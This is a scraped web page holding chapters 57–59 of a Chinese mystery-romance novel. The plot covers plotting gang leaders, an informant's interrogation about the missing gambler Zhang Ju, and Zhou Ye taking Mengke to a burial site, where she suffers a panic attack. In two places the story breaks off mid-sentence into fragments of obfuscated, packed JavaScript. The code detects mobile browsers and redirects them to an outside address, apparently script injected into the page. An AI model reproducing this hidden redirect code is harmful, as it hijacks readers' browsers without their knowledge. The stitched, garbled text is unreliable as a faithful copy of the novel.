l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999153|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是，咱们得一条心，提前准备起来，等到合适的时机，就动手。” “可是，”梁云钦犹疑道，“还有那高升……他可不会轻易听咱们的。” 孙九爷摆摆手，笑道：“多虑了！时至今日，他不也得替自己谋划谋划？若能把他拉过来自然最好，咱们行事也更方便。” 他没说下去，但梁云钦已经听出了后面的那个“不然”。 不想，周冶一顺手把高升给关了，替他们去了这个心腹之患。 孙九爷知道了，给乐得哟，少个人，少分一份——也少一个事后灭口的麻烦。 梁云钦还担心高升在牢里说出什么。孙九爷却直笑道：“他不傻。招了，他自己也是个死。不招，还能吊着命。大不了，衙门找到什么证据，他就招什么，罪责横竖也小一些。” “实在不行……”孙九爷阴恻恻一笑，“总之，咱们见机行事。” 梁云钦看了他一眼，心有戚戚。他若反对，孙九爷便只会把自己也一并除了——此刻未必没想除，只是排后头些罢了。于是，也不再说什么：“还是九哥周到，我都听九哥的。” 反正这些要命的事向来都是黑石堂做，他一个行走的钱袋子，大不了要钱给钱，撒手不管就是了。 可他的如意算盘还是落了空。孙九爷还是不容他不粘手，只怕有借此事除了自己，一石二鸟的意思。 他不由想，自己一向不与他争锋，也摆出唯他马首是瞻的姿态，可他这么快就跟自己翻脸是为何？梁云钦突然想到了什么，陡然一个激灵，难道，是他知道了…… 可这事，不该有第三个人知道啊…… “老爷，你就歇会儿吧！”苏姒揉着的手突然停了，“瞧您都这么半天了，眉头还紧锁着。我再给您倒杯酒舒缓舒缓，歇一觉吧。” 梁云钦叹口气，轻轻拍拍她的手：“也好。” 他心道，这些欢场女子，别的不说，这伺候人的本事是真好。贴心顺意，还乐趣无穷，哪是家里那木头能比的。 *** “已经查到了梁云钦那儿？” 梁夫人大笑起来，这一次，能顺手把梁云钦也埋了，简直不要太快人心，“刚好就派了张举办这事！看来是这梁云钦合该要死。” “张举啊张举，你可实在是个福星。要不是你，我们哪能找到这么趁手的一把刀。你居然还帮我们把梁云钦拉下水，简直是买一送一。日后，我定给你找块风水宝地，不埋没你这大功！” 孙九爷道：“只是，张举这小子一天不找出来，一天就不能踏实，终究是个隐患。” 梁夫人正色道：“赶紧把他找出来！挖地三尺也要找出来处理了，千万不能让人抢了先。” 说罢，她冷笑一声，随手扯着手边的花叶道，“现如今，这小赌鬼竟还成了个香饽饽。梁云钦找他，衙门找他，咱们也找他……他活了小半辈子也从没这么重要过，这临死能登上咱们的台，露个脸，也算值了。” 又问，“那金三如何了？” 孙九爷笑道：“那老小子还真稳得住，日子照常，该干嘛干嘛。” “这样也好，不容易让人起疑。”梁夫人道，“给他送点趁手的东西去。下一场，该换个戏法了。” 孙九爷问：“为何不等到了时机，一次除干净？” “那多没意思！咱们已经来了一场全绥陵最盛大的烟火，可再绚烂，也是一炸就完。” 她扯起一片叶子，又扯一片，攒在手中，“这戏嘛，要一场接一场地上，还要一场比一场好看，才能吊住观众。咱们也才见本事嘛！” 孙九爷看了她一眼，虽不赞同，却也没吱声。 梁夫人：“通知郭大夫，让他加点药量，催上一催。务必让金三抓紧时机。刚演了这么热闹的一场，得赶紧跟上，别冷了场才是。” “那金三早不去医馆了。” “那就送药上门。”梁夫人道，“医者仁心嘛，当然看不得老病患如此自弃。” 孙九爷点头：“曾家的事一了，梁云钦一除，钱袋自抓在自己手里，咱们可就比当初的曾怀义还稳了。” 57. 无辜 暗巷中，贾四站在阴影内，伸头看了多次，终于听到马车的咕噜声。 那声音渐渐近了，行到约好的大槐树下，停了。 贾四看了看驾车人，左右扫了几眼，才从阴影中试探着走出来，从怀中掏出什么，向其出示。 随即，车窗的帘子掀起一角，伸出一只纤细白嫩的手来。 那手轻轻一展，迎风垂下一条纤细精致的金链，下端缀着个羽毛样的坠子。任是这暗巷之中，也金光灿烂。 贾四定睛一看，惊道：“金羽！” 像他这样下面办事的，拿的都是铜羽。各城管事拿的是银羽。至于金羽，他有幸见大总管的时候见过一回。至于级别最高的翠羽，据说只此一根，大家都听过，但没人见过。 他早几个月就收到消息，说绥陵要来大人物，务必多方收集消息，届时全力配合。近来，虽传信多次，他却一直无缘得见本尊。怎么也没想到，这位竟是与大总管平级的金羽。 贾四回过神来，忙下拜道：“小的绥陵城铜羽贾四，见过金羽大人！但凭大人吩咐，必不辱命。” “之前的事办得不错，算是……未辱命。” 是个女子，声音听着很年轻。贾四得了赞许，乐得说道说道：“那张举是个赌鬼，本就缺钱，小的只丢个暗示，他就乐得赚这一笔。” 孟珂知道，周冶一查过去，梁云钦必认定这是孙九爷栽他的赃。 她使了个眼色，回雪便又学着小姐，拿出上位者的气势，冷声道：“今日叫你前来，是有话需当面问你。” “大人请问，小的定知无不言。” “张举的下落可有消息？” “小的日日都去他家看，一次没回来过。到处都没消息，小的估摸着，只怕是凶多吉少。” “他那个跑了的老婆那边，可有消息？” 贾四摇头：“当初是悄悄跑了的，就是怕被他找到，谁也没敢告诉。” 孟珂又示意，回雪继续问：“那个早年接济他母子的叔，可有线索？” 那张举赌钱，不说十有九输，也有七八次都是输。输光了，便到处找人借赌本试图翻盘，魔怔了似的，也不管认不认识，别人依不依。这么搅闹，赌坊的人自然是上去架起来就要往外扔。 他一次急了，开口大骂道：“你们这些狗仗人势的东西！我爹要是没死，你们个个都得叫声爷，都得跪在我脚下当狗。这黑石堂的赌坊花楼……还不是哪哪儿都随便小爷玩！” 赌鬼急了，什么话说不出来？众人轰然起笑，都当他在乱说。 那张举被拖在地上，一路往外去，嘴里还继续喊道，“你们这些杂碎，能知道什么！知道这黑石堂什么来历吗？听说过落乌岭上的石头寨吗？” 一旁的赌客看着笑话，但二楼雅间的一个窗户，却开了一条小缝。 “这石头寨，就是黑石堂的前身。我叔，那可是当年的四当家。这黑石堂的生意，就是他们一手做起来的。” 看着这越说越煞有介事的，更多人甚至停下了手中牌。 不知谁道，“哎哟，四当家啊！当家侄儿呢！失敬失敬。既如此，你现在能当谁的家啊？” “你个老婆都跑了的，只能当自己这条光棍的家吧！” 张举在地上，只看见一堆的脚，无数张嘲笑的脸，喊得更奋力了。 “要不是那年上元夜出了事，寨中元老都死了，哪轮得到他孙九当爷？！我爹跟我叔，管这城中所有赌坊的时候，他孙九，还不知是下几等的狗腿子呢！” 二楼站出个人，吩咐左右道：“还不堵上他的嘴，拖出去！” 这事被当成笑料，传了好些日子。有几个嘴贱的，日后见他就唤，“哟，四当家……侄儿来了！当家侄儿！” 周围人中，只有贾四愿意信他，每每陪他喝酒的时候都饶有兴趣地听他重新说上一遍，从不质疑，还不时问些细节。张举不由觉得，这才是真兄弟！对贾四自此与别不同。 只是，他爹当年长时间在外，少有回家，对家里也只说是在外做工赚钱，从不多说。他知道的这些，还是有一回他叔喝高兴了说的，实在也不知道更多了。 但仅仅这一点东西，就成了张举那素面一样穷酸的人生里，唯一的那点浇头，不时便要拿出来咂摸品味一番，最好当着人拿出来吹吹牛现现眼。 贾四开始其实也没当真，不过是得了令，刻意接近梁云钦身边的人，同他拉交情罢了。谁知这家伙身上还真有故事。 孟珂自然知道，张举这话不算完全胡扯。石头寨当时势大，收拢了不少小寨子的盗匪，这张举的爹加入也不足为奇。可这个叔，若真是黑石堂的四当家，如何能在那场大难中活下来？当时存活的，都是极外围的喽啰。张举这种人的话，多少都有水分，得经过查实。 “这个叔是哪里人，叫什么名字，可有其他身份信息？” 贾四努力回想：“他总说‘我叔、我叔’的，叫什么来着？对，他好像提过一回，我自己也喝得迷迷瞪瞪的……” *** 熹园的客房内，涤砚拿着名录：“公子，这大批量烟火买入和燃放的数目，各府都挨着查对完了，也都排除了，就剩邀月阁和这熹园了。” 周冶一手支着头，斜倚在榻上，凹出了劲瘦的腰线，自言自语似地道：“除了烟火，能得到大批火药的，还有个地方。” “黑市？” “不只是黑市。”周冶摸着下巴，思忖道，“我不明白的是，不管是通过黑市，还是其他寻常人没有的渠道，她都可以不引人注意地拿到火药，为何偏要买那么多烟火？为何要让我们出事第一时间就能怀疑上她？” “我总觉得，即便她让我们搜，可能也搜得出数量匹配的烟火。那她为什么又偏要阻拦？” 涤砚：“这么说，是有些奇怪。“ 周冶突地坐起了身：“她一定有目的。” 说着，便起身往外走去。 “公子去哪？” “烟雨斋。”周冶想，既然问不出来，那就……逼上一逼，兴许能大力出奇迹呢？ 谁料，到了烟雨斋，却吃了个闭门羹。 小丫头进去一趟出来，说：“小姐不舒服，回来便服了药睡下了。” 躲了？周冶笑笑，直接坐了下来，自己翻开倒扣桌上的茶杯：“无妨。小姐既然已经睡了半日，想必不到晚上就会醒。我横竖也没事，坐这儿等着就是。” 五儿闻声走了出来：“等小姐醒了，我们自会禀告。到时再去请大人不迟。” 周冶见只她在，回雪并未露脸，难道人压根不在府中？他更打定了主意不走，笑道：“小姐既然不舒服，醒了之后未必有心力梳妆起来见人。我就在这儿待她醒，几句话的事，不会耽误多少功夫，也得体恤病人不是？只是，这几句话实在要紧，需得面谈。” 见此，丫头们也只好任他了。 回程路上，孟珂吩咐道：“张举若是成功离开了绥陵，要长期跑路也好，直觉危险要死也罢，有个人是必定会去找的。通知下去，加紧寻找他那前妻的下落。” 她不禁又琢磨起了这场爆炸，金三突然更改计划，急于行事，像是等不及了。为什么等不及？到底什么不等人？ 孟珂：“得找那个大夫！” 回雪一时没跟上思路：“什么大夫？” 孟珂没来得及解释，马车就在后门停了。 五儿在门内候着，正急得来回踱步，见了马车，忙飞奔过来，着急地道：“小姐。” 孟珂看回雪：“查一查金三用的药，还有大夫。” 五儿急道：“周大人在烟雨斋等着小姐呢，只怕是察觉了小姐不在。” 孟珂笑：“守着不走？” 五儿点头：“说是要同小姐当面说话。” 孟珂心道，只怕是猜着了她人不在，点头道：“请他进书房。” 等周冶被请进书房，孟珂已经坐在案前，见他进来，冷冷地扫了他一眼，似有不悦。 周冶只当没看见：“小姐身子无碍了？在曾府遇到时，我看小姐还好好的。” 说着，歪了歪头，端详片刻，笑道，“此刻看着，也是……白里透红，美貌无匹，未见丝毫不妥。” 孟珂冷冷一笑：“本就没什么大碍，不过是早间在曾府同人折腾了一通，临出门又被人拽着平白问了一罪，觉着心下疲累。回来睡了半日，这会儿，也还有气无力的。” 这便是在赶人了。 周冶听出这意思，却没动，清了清嗓子，入正题道：“今日等小姐，就是想说，这些日子在熹园多有叨扰，明日便开市了，城中酒楼自然也开了，此后便……不来叨扰了。” 孟珂淡淡地道：“不过多添几双筷子的事。这点小事，何必面谢？倒劳大人等了这许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“原来，牵连无辜这事，皇帝做得，当官的做得，偏只老百姓做不得？平白害人这事，坏人做得，好人做不得？你倒是告诉我，为什么？” “你说不出来？那我来告诉你！因为世间这公道，这公平，这正义，都是上头糊弄下头人的玩意儿！什么律法，什么仁义道德，什么良心，都只要求那些无权无势、全无手段的寻常人遵守。” “怎么，周大人你也觉得，他们只能遵守这义务，却没有拥有的权利？哪怕他们已经先被无辜害了？” 孟珂吁出一口长气，冷笑道，“周大人要跟我讲法度，先睁开眼看看，那些本该维护法度的官员自己守没守；要跟我讲公道，也要先来后到，你且先替那些枉死的人找了公道。那时，我必定知无不言言无不尽，必定束手任你处置，绝无二话。” 她连珠炮似地下来，周冶竟无言以对。 “这些事不是三言两语说得清的，我日后可以同你慢慢说，”他脑中有画面倏地闪过，“你是没有看到现场，你不知道……” 孟珂打断他：“我不需要看！” 梁宅的大火仍在耳畔噼啪作响，烧焦的尸骨味道还萦绕在她鼻中。 她慢慢转过身去，不易察觉地吁出一口气，压住了心口汹涌而来的潮水，沉静而缓慢地说道：“那无辜受害，活活虐死，尸骨还被……尸骨无存，连埋骨之地都没有的人，多了去了。” 她转回身来，脸上带着讥诮的笑，“论可怜，论无辜，怎么都轮不到他曾家人。” 周冶正要说什么，孟珂冷哼一声，“还是收起你那种虚伪的善良吧！” 骤然被一语击中，周冶久久无言。 突然，他拉着她的手，就往外扯。 孟珂身轻体薄，哪经得住他一拉，完全站不住，便被拽得从案后出来。 “你干嘛！” 周冶疾步朝外走去，孟珂碎步几乎小跑着跟在他后面，徒劳地挣着，“周冶，你放手！” 一旁的人都看呆了，齐齐叫了出来。 洗墨：“公子……” 回雪：“小姐！” 孟珂向回雪使了个眼色，暗示她不要动作，做出了一个“药”的口型，便由着周冶一路拉出府去。 58. 梦魇 周冶纵马一路驰出城去，上了山道。 日头上来后，前夜的大雪就慢慢融化了些，山路本就泥泞，被许多人踩过，更是难行。 他慢慢放缓了些下来，又行了一炷香的功夫，才勒停了马，将孟珂抱了下来，拉着她又要往林子里走。 孟珂看他出城的方向，已经猜着了几分，再上了大栖山，也就什么都明白了。被他拉着一路到了这里，她当然不是没办法阻止，而是她也想知道，自己看到那场面，会是什么心情。 她是会懊悔于自己的失算，还是高兴老天“阴差阳错的成全”？会有一丝幸灾乐祸、大仇得报的感觉，还是会厌恶如今走在这条路上的自己？ 想到此，她不由抬眼去看周冶，这人没有直接骑马到墓前，将她扔在那里，而是提前放了她下来，既是让她还有机会阻止他，也是让她起码能隔着一段距离去看——这是他对自己留的余地。 不过，他想逼自己说出什么，又指望自己能说出什么？他觉得，她孟珂是这样就能被逼得出来，激得出来的吗？这未免也太小看她了。 她心下笑道，看来，这位周大公子，没有从尸山血海中走过，不知道人的心志可以到什么程度……而她的心志，又是这天下如何少有的存在。 两人深一脚浅一脚地走着，她的目光也随着周冶的侧脸，起起落落。 这个明明剑拔弩张的当口，她竟忽而走了神，去注意起他的脸来——这张她总是记不住细节，只留有囫囵印象和纯粹感觉的脸。 此刻，她用目光逐一扫过他的下颌线，他的眉眼，他的鼻锋，他的唇角......将那每一处线条都在心中记了一遍。一边默记，一边惊异，这一根根线条，到底特别在哪里？ 是，他的五官深邃，脸小而窄，长得有些……祖上似乎有些异族血脉的样子。可越是这样不普通不大众的脸，不是越容易记取描画么？怎么就在她心里，成了个怎么也记不清的模样。 就在这时，一阵山风吹来，当中夹杂着山里特有的泥土和草木的气息，孟珂顿时一个激灵——她的鼻子极敏锐，从这一掠而过的风中，抓住了某种奇怪的味道。 等反应过来那是什么——混杂着焦土、血腥和尸臭的味道，她猛地俯下身，干呕起来。 周冶顿住了脚，看着她，冷笑起来道：“怎么，不好闻？那原本是一身香糯的孩子，是你我一样正当盛年的人，如今却是一滩滩……” 顿了顿，又道，“只这样你就受不了了？走啊，你去看看啊！” 周冶指着林后的土地，“你去看看死亡真正的模样，还能不能在那馨香温暖的华阁绣楼里，双唇一启，轻轻飘飘地说，这是他们应该承受的连累，应该付出的家族代价。” 孟珂没应声，只是呕得越来越厉害。她俯身捂着嘴，似乎是要憋住呕吐，可又大喘着气，随即又呕得更厉害起来。 周冶：“我不相信你是这么冷血无情甚至恶毒的人，我不相信你看到那样的场面还能无动于衷。他们做错了什么，当得这样比五马分尸还惨的下场？” “而你呢，却连同情的眼神都不肯给一点。你明明知道什么，却什么也不说，连解释都不给我一句......孟珂！你到底是什么样的人？” 孟珂此刻根本已经听不见他在说什么。她喘的间隙越来越短，呼吸越来越浅，心口疼得揪紧了衣服，身子都麻木了，直往那满是泥泞的地上缩了下去。 周冶忙上去端着她的肩膀，将她拉起来：“你又在演什么柔弱？赖在这儿不走，我就放过你了吗？” 他端起她的下巴，这才悚然发现，她已经面无人色，揪着心口的手上青筋暴起，身子也是不受控制的样子。最重要的是，她的呼吸已经完全倒不过来似的，越来越短促......这根本不是能装得出来的样子。 “孟珂？你怎么了？”周冶一时摸不清这是什么病症，看了看她揪紧的心口，“你这是......心疾吗？有药吗？” 不，不对，卢宽那么细心照顾，也从未提过什么要命的急症。再说，如果是心疾，她必定会随身带药，方才自己就用了，不至于拿命开玩笑。 看着她根本不受自己控制的样子。周冶只怕她一口气上不来，下一刻就过去了。 此时，唯有一法可试。 “得罪了！” 他举起手来，在她后脑力道精准地一击，她当即便瘫软了下去。 *** 周冶一把搂她在怀，忙伸手去探鼻息——虽微弱，但还有气。他赌对了，人晕了过去，反而放松下来，恢复了呼吸，自己也才稍稍松了半口气。 既如此，想必不是什么心疾。他还是查看了一下她腰间的香囊，果然没药。他的猜测对了，可不禁又疑惑，她这犯的到底是什么病？ 若不是他当机立断，她好像真的喘不上气，就能直接过去了。 此时松了口气，他才发现，自己居然紧张得手心都出了汗，不由又觉得好笑，便是自己此前面临要死的时候，也没这样过。 他举目四望，周围不是积雪，就是被来看热闹的人踩出的泥泞，根本无处歇脚，只得将孟珂打横抱起，往外走去。 他将孟珂放到马背上，小心地兜揽在怀中，缓步打马离开，一直寻到了处干爽的地方，才停了下来。 今日这么抱了几次，他才惊然发现，她好轻，一手就能轻轻地将她抱起，腰肢更是盈盈堪握。平日看着纤薄细弱，却是瘦不见骨的那种，没想到这么瘦。 手腕也细到不行，他拉着的时候，都怕稍稍用力便捏碎了。 他轻轻地将她抱下马来，挑了处干爽之地，先蹲下，单手解开自己的狐裘，甩开铺平了，将她放于其上，又将剩下的一半盖在了她身上。 孟珂面色煞白，额间发际有细密的冷汗渗出。 冬日里出汗，山风再一吹，只怕邪气入体。他没有带丝帕的习惯，又不好翻找她身上，只好拈起自己里衣的袖子，替她擦了擦。擦着擦着，手指不小心触到她额头，竟一片冰冷——死人那种冷。 他的心猛地一沉，飞快地伸手去探鼻息，还有气！ 他重重地吁出一口气，心口却仍扑通乱跳。 这么一惊吓，方才就已经懊悔的心，这下更深重了。本想激她一激，逼出些话来，谁料会搞成这样。 那卢宽说的身子弱，还真不是瞎说。可这到底什么毛病，这么突如其来，又如此凶险？ 她要是真死了……想到此，他猛地摇了摇头，实在不敢想象下去。 他忙又伸手探了探她的脉，微弱、虚浮而又杂乱，是为凶险；顺手往下一滑，握了握她的手，果然也是冰凉。 她现在这样，上路只怕吹着、颠着，反添病势。最好等她醒过来，至少也要状况稳定了，再回城吧。 刚刚擦干的发际又冒了汗，他忙又擦了，立刻起身在左近拾了些干柴，点起了火堆。 忙乱一阵，坐定了下来，借着跃动的火光，周冶低头去看她。 这真是一张极善变幻的脸——甚至方才，他第一瞬间都还以为她是装的。因为她的心思实在太深，自己摸不透，猜不准，总觉得另有深意…… 她是深沉，是善谋断，可迄今为止，做过什么坏事吗？烟火一事，尚无论断，他不愿相信，也不相信她会毒辣至此。 他不由摇头一笑，此刻实在体会了“城府深”三字，为何被世人当成不好的字眼。说穿了，城府深，不就是让自己看不透，拿捏不了，不利于自己吗。世人总是不介意自己城府深如潜渊，却总忌惮别人城府的。 可是，行走于世间，若没有城府，那无异于待宰羔羊。尤其她这样一个女子，借着卢府的权势威名，却没有真正的依恃，如何不如履薄冰，时刻自保？ 此刻，看着完全失去意识的她，像是褪去了平日刻意布下的烟瘴。这张脸，像极清透的冰玉做成，又像无暇的白瓷，晶莹而又剔透，坚硬而又脆弱…… 他不由伸出手去，轻轻在她面颊上缓缓掠过，仿佛只要稍稍用力，便会碎在他手下。 这时，她低低地呻/吟了两声。 周冶猛地收回了手，做贼心虚地飞快扫了一眼，可她分明又没反应了。 半晌，又见她微微蹙起了眉，开始面露惊惧之色，轻轻地左右摇起了头，身子也无力地微微挣扎着。 好像是……魇着了。 即便隔着狐裘，这么动着，在地上想必也咯得慌。他坐了过去，将她的头轻轻抬起来，枕在自己腿上。想起人们哄睡噩梦惊醒的孩子，他也学着，轻轻拍着她的肩臂，安抚起来。 慢慢地，她竟还真就渐渐安宁了下来。 再一摸她的额头和手，借了火温，好歹是没那么冰了，他又略松了口气。 好不容易得闲，他不经意地抬头一看，见明月自松间斜照而下，月光如水，倾洒在两人身上。身前的火堆噼啪作响，怀中的人安宁静谧，美得不似真人。 忽然之间，他竟有了种天地之间，唯有你我，两相依伴，无限温情美妙之感。 想到此，他不由笑了笑，觉得自己这感受来得实在好笑，手上又继续轻轻拍了起来。 拍着拍着，他眼前渐渐模糊，不自觉恍惚了过去。 *** 周冶方才生火的时候，顺手把一只倒霉地撞进他手里的过路山鸡给烤上了。 那山鸡慢慢出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999155|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了油，顺着鸡身流下，汇聚成滴，落入火中，便呲啦一阵响。 鸡身上的油越出越多，随着一大滴油流下，一簇火苗猛地窜了起来，将鸡点燃了。焦糊味很快出来...... 孟珂意识昏沉，鼻子却本能地闻到了。原本已经平静下来的她，又躁动了起来。 她一动，周冶马上就被惊醒了，低头一看，见她面露惊惧，便试着摇醒她。 他这一挪动，才发现自己手脚都麻了。顿了顿，攒了攒力气，举着僵硬的腿一动，却踩上了一根树枝，正好充当撬棍，将那烤鸡的支架绊得轰然倒了。 正呲呲冒油的烤鸡猛地落入火中，呲啦啦一阵乱响，火腾地就窜起来了。 孟珂半昏半醒之间，眼前骤然一片红亮。她一个激灵，猛地惊醒，睁眼就见火苗腾地高窜而起。 此时，铺在地上的狐裘末端也被点燃了起来，火势猛地加大，木柴噼啪作响，鸡油呲啦作声，肉的焦糊味，皮毛被烧的味道……悉数灌入孟珂的耳鼻中。 她惊得猛地往后一缩，立时就喘不过气来，身子也动弹不得，甚至叫不出声来。 周冶瞧她这次犯病比方才来得还快，似乎还更严重，怔了一瞬，看看她，又看看火堆，脑中突地想到了什么。 大火、焦糊的肉味……她是见到这样场景，才会犯病！ 难道是……当年的粱家大火？她就在现场？ 是了！一定是！ 想必，当时的她，便是亲眼见着大火如何将梁家人一个个烧死，甚至能闻到家人被活活烤糊的味道，却根本一声都不敢哭，也不敢叫。 瞬间，愧疚灌满了他胸口。 他忙将她揽入怀中，挡住她的眼睛，喃喃道：“没事，不怕，不怕！没事的！” *** 天色越来越晚，小姐久久未归。回雪一次又一次站到门口，对着夜色望眼欲穿，心下也越来越急。 每到过年前后，小姐的旧疾就要犯，一犯就是半年，得熬到入夏才能慢慢见好。每一犯病，她便日日受罪，连活着……都是一种惩罚。 今年，她能撑到如今，已经是头一遭了。可身边人都悬着心，只怕一个不仔细就又犯了。 想到此，向来稳重的回雪也终于忍不住了。她怒瞪着同样等在一旁的侍剑和洗墨：“你家公子呢！到底把我家小姐带哪去了，干嘛去了？怎么还不回来！” 那两人面面相觑，两脸茫然，显然也不知道。 回雪心中又气又忧：“我家小姐……一点经不起折腾。你家公子不知轻重，这样不由分说就将人掳了去。她要是有个三长两短，你们都……别想走出这熹园！” 洗墨和侍剑听着，不由对视了一眼，这最后半句话，只怕不是空口威胁。任侍剑武艺高强，毕竟只有一个人。她若要留他们，只怕还真有这本事。 “什么叫掳了去！” 洗墨可不想待宰，开口就要反驳，侍剑却一把拉住了他。 他也没搞清楚公子要干嘛，但觉得己方着实有些理亏，扯回了洗墨，又好声好气地道：“回雪姑娘，你别担心。我家公子最是怜香惜玉之人，定不会把你家小姐怎样。兴许是路上耽搁了，咱们再等等。” 回雪横他一眼。侍剑当即便收了声，又心虚，又对她有些莫名的怕。 眼看着时间一点点过去，外头愣是一点动静也没有，旁边下人都直打呵欠了。 侍剑也悄悄对洗墨嘀咕上了：“公子这是怎么了？查案便查案，哪需要这么急？他今日怎么就……这般按捺不住了。” 洗墨白了他一眼，先扫了一眼回雪，压低了声音道：“公子急的哪是案子！” “那是什么？” “人啊！” “人？”侍剑听不明白。 “我跟你……说不明白。”洗墨看了他一眼，懒得再说了，索性闭目养起神来。 *** 此刻，野外的火堆前，狐裘被烧了大半，鸡烧成一坨黑糊的东西，火也灭了大半，不时噼啪几声，好一片狼藉。 孟珂闭着眼，叫不醒，又昏不过去，只是呼吸困难，心痛难耐。 周冶紧紧地抱着她，拍着背道：“都过去了！都过去了。不怕，没事了。” 他脑中飞快地转念，虽不知这是何种病症，该如何治，但眼下最危险的便是喘不过气来。人命不过就在这一息之间，真窒息了，只怕就救无可救了。既如此，得先将她的呼吸调顺。 难道又打？还能再昏几分？只怕不会奏效了。 还有其他法子没有？窒息……怎么救？对了，那溺水窒息的人...... 他看了看孟珂，慢慢俯下身去…… 59. 夜宿 这样岂不是占人便宜？周冶心下一虚，一下坐直了。 心下一急，倒逼得灵光一闪——练武的调息之法倒可一试。可这需要她能有些意识，跟着做才行。 他轻轻摇了摇她肩头：“孟珂，你能听见吗？” 没有反应。 他突然想起那卢二公子唤她做阿珂，试着叫了叫，“阿珂？孟珂！” 还是没反应。 难道，还是只有再打晕一些？周冶抬手要劈，脑中一闪念，试探着轻声唤道：“梁婉章。” 急喘之间的孟珂，似乎顿了一瞬。 她最熟悉的亲人会怎么叫？周冶又试探着叫：“婉章？婉儿？婉婉？” 孟珂动了动。 真能听见？周冶心下突突地，喜道：“婉婉，听好了！你没事的，只要跟着我说的做就好。咱们慢慢地吸气，慢慢地呼气。” 说着，他的手抚在她背上，往下捋道，“来，吸气——” 随着手往上提，又道，“呼气——” 孟珂也不知是听懂了，还是感受到了动作，果然跟着吸、呼了起来，开始还吸不深入，也呼不出来，但如此一会儿之后，呼吸慢慢地深长了些，渐渐可以跟上了。 那气，终于是倒顺了。 随着她的呼吸逐渐平顺，揪住心口的手也松了。周冶吊着的一口气也才跟着顺了过来。 他喜得一把将她紧紧搂进怀里，又怕箍紧了，忙松了松，轻轻拍着她的背，展颜笑道：“做得好！做得好！瞧，我们婉婉做到了！” 她的身子还是有些僵麻，周冶又给她揉了揉，帮着放松些。 胸口衣服都被她抓乱了，想必发病之时，心口应有剧烈疼痛，可这个位置……他犹疑地伸出手去，将她的衣襟理了理，也没法再多做什么了。 天色已晚，野外的冬夜可不是好过的。一旁的狐裘已烧了几个大窟窿，比叫花子的破衣服还不如。即便再生火，那也是火烤胸前暖，难抵风吹背后寒。 何况……他看了孟珂一眼——她可不能再见火了。 不能在此久留了。 离这里不远的地方，好像有农家，只好去求宿一晚。正好乘她平静下来的这会儿上路——今夜指不定还要怎么反复呢。 周冶在耳边轻轻道：“你再撑一会儿，我带你找个人家歇息。” *** 借着月色，周冶好不容易找到了一户农家。却见那屋里一点光亮也无，想必是乡下人家夜间省油节蜡，早早便安歇了。 果然，他敲了好一会儿门，才见里面隐约有火光亮起，继而听到脚步声响。 一个男人粗着嗓子吼：“谁啊？” “大哥，我是过路的。”周冶客气地道，“只因我……夫人途中生病耽搁，错过了宿头，求好心人让我们借宿一晚。” 只听里头窸窣声响，又有人低声说了什么。 那男人随后走近了几步，从门缝里往外一瞅，见周冶一身贵公子打扮，怀中抱着个身形细弱的女子，虽看不见脸，但确实失去了意识，一只手无力地垂了下来。 “公子莫怪，”男人一边说着，一边开了门，“我们这独户人家，只怕有歹人上门。” 这是个嗓门颇大的中年汉子，看着就气血充足。 周冶知道早些年盗匪横行，这样的独户人家想必遭过不少灾，感激地笑道：“哪里的话！深夜来访，是我们打扰了。” 那男人看了看两人身后：“怎么就你们两口子？两位看着便是贵人，出门也没带个下人？” 周冶解释道：“我们不是走远路的。今日，我夫妇二人一时兴起，骑马出城游乐，未带仆从。谁料，山风一吹，夫人的旧疾犯了。她这病一犯，一时无法挪动。你看，就这都还没缓过劲儿来呢。” 他无奈地叹道，“这冬日里天短，歇了歇，这不就耽误到了这时候。外头天寒地冻的，哪敢让她过夜？走了好久，好不容易才找到你们这一家。” 想着，也没有他这样贵气的歹人，男人放下心来：“这附近，人家是少。” 周冶忙自报家门道：“我姓周，就住在县衙后……后巷。大哥贵姓？怎么称呼？” “我们村都姓刘，大兄弟叫我春树就行。” 喜提大兄弟称呼的周冶也很上道：“春树大哥！今夜就叨扰了。” 说话间，春树的女人也出来了。 她上前一看孟珂的脸色，“哟”地惊了一声：“看……夫人的样子，病得不轻，可不敢再挪动了。你们今夜就安心住下吧！” 于是，刘家夫妻二人，一个生火烧水，一个翻箱倒柜地找被褥铺床，帮着周冶把人安顿了下来。 “春树嫂，”周冶看了床上的孟珂一眼，担忧地道，“我夫人她发了一身的冷汗，怕着凉，可借你几件衣裳换换？” “哟，瞧我！都没想到，公子果然贴心，”春树嫂道，“夫人不嫌弃，我这就去拿。” 不多时，她就抱了几件过来，一件件抖开了，都是颜色艳丽，款式也有些年头的。她一脸感慨地看着道：“这还是我做姑娘的时候，为了与人相看，特意做的。这成亲之后，又生了娃，便再也穿不上了，也没舍得拿来改做他用。正好就给夫人穿吧。” 说着，她不好意思道，“就是你们富贵人家的身娇肉贵，这粗布麻衣只怕穿不惯。” 周冶这人，平时一副矜贵的公子派头，可要圆滑可亲起来，那也是滴水不漏，这会儿对着春树嫂笑道：“瞧嫂子说的，你们这自己纺线织布，一手一脚做出来的衣服，倒是比那外头的强多了。” 他此刻发愁的是，这衣服……可怎么换啊？ 谁想，还没等他开口，春树嫂就已经上手去换了。 他忙转开眼，背过了身去。 春树嫂笑着看了他一眼。她一眼就瞧出来了，这姑娘又不是妇人打扮，他说是夫人，不过是为防不便罢了——姑娘不在自己眼皮底下，他必定不放心。 